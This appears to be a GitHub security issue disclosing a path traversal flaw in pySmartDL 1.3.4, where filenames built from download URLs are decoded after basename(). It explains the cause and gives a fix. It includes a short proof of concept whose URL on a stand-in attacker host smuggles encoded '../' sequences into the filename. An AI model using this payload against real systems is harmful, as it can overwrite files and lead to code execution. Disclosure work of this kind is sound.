Skip to content

Security: path traversal in pysmartdl #66

Description

@gnsehfvlr

Security Vulnerability: Path Traversal in pysmartdl

Summary

pySmartDL version 1.3.4 is vulnerable to a path traversal attack due to improper sanitization of URL-encoded path separators in filenames derived from download URLs. An attacker who controls the download URL can cause files to be written to arbitrary locations on the filesystem.

Affected Package

Vulnerability Details

In pySmartDL.py at line 105, the filename for a downloaded file is derived from the URL path using:

fn = unquote(basename(urlparse(url).path))

The basename() call is applied to the raw (still URL-encoded) path before unquote() decodes percent-encoded characters. As a result, a URL containing %2F (the URL encoding of /) will pass through basename() intact — because %2F is not a literal slash and therefore not treated as a path separator — and only after unquote() is applied does it become a real /. This means the final filename can contain directory traversal sequences (e.g., ../../evil), allowing the resulting file to be written outside the intended destination directory.

Root cause: unquote() is called after basename(), so URL-encoded path separators are not stripped.

Attack vector: Any user-supplied or attacker-controlled download URL passed to SmartDL can exploit this behavior.

Proof of Concept

from pySmartDL import SmartDL

# %2F decodes to '/' after unquote, bypassing basename's directory stripping.
# The resolved filename becomes "../../evil_file" relative to dest.
malicious_url = "http://attacker.example.com/files/..%2F..%2Fevil_file"
dest = "/tmp/downloads/"

obj = SmartDL(malicious_url, dest)
obj.start()
# File is written to /tmp/evil_file instead of /tmp/downloads/evil_file

Impact

An attacker who can influence the download URL (e.g., via a configuration file, user input, or a redirected HTTP response) can write files to arbitrary filesystem paths accessible by the running process. This can lead to:

  • Overwriting sensitive configuration files
  • Planting malicious executables in startup directories
  • Remote code execution if files are written to locations that are subsequently executed

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Remediation

Apply unquote() before basename() so that percent-encoded slashes are decoded first and then stripped by the path basename operation:

# Vulnerable (current):
fn = unquote(basename(urlparse(url).path))

# Fixed:
fn = basename(unquote(urlparse(url).path))

Additionally, consider validating the final filename to ensure it contains no directory separators and does not resolve outside the intended destination directory (e.g., using os.path.realpath and checking the result starts with the destination prefix).

Disclosure Timeline

  • 2026-07-02: Discovered via DAST scan
  • 2026-07-02: Reported to maintainer

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions